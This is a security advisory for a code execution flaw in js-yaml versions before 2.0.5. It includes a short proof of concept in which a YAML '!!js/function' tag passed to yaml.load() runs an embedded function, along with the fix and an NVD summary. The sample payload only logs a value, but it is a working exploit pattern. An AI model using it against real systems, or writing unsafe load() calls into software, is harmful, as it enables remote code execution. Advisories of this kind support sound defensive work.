Описание
Deserialization Code Execution in js-yaml
Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.
Proof of Concept
const yaml = require('js-yaml');
const x = `test: !!js/function >
function f() {
console.log(1);
}();`
yaml.load(x);
Recommendation
Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.
Пакеты
Наименование
js-yaml
npm
Затронутые версииВерсия исправления
< 2.0.5
2.0.5
Связанные уязвимости
nvd
почти 12 лет назад
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, which allows remote attackers to execute arbitrary code via a crafted string that triggers an eval operation.